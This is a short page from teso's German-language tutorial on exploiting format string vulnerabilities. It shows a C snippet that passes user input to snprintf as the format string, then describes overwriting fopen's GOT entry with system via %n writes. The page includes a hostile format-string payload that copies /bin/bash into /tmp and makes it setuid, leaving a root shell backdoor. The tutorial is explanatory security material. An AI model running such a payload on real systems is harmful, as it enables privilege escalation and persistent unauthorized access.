(c) teso. all rights reversed. | ||
exploiting format string vulnerabilities - Return into LibC | ||
Manchmal gibt es einen noch direkteren Weg zum Ziel: FILE * f; char foobuf[512]; snprintf (foobuf, sizeof (foobuf), user); foobuf[sizeof (foobuf) - 1] = '\0'; f = fopen (foobuf, "r");Warum nicht einfach den GOT Eintrag von "fopen" mit dem von "system" überschreiben, und einen Format-String der Art: "/bin/sh -c \"cd /tmp;cp /bin/bash .;chmod 4777 bash;exit;\"" "<stackpop>%16u%n%16u%n%32u%n%64u%n"verwenden ? Direkter gehts nicht :-) Denn beim Aufruf von "fopen", wird in Wirklichkeit "system" aufgerufen, und zwar (wenn alles korrekt lief) mit einem Pointer auf unseren Buffer, der die Shell ausführt: system ("/bin/sh -c ....."). Alternativ kann man in die LibC returnen, wie schon angesprochen [1]. | ||
<< - < - > - >> |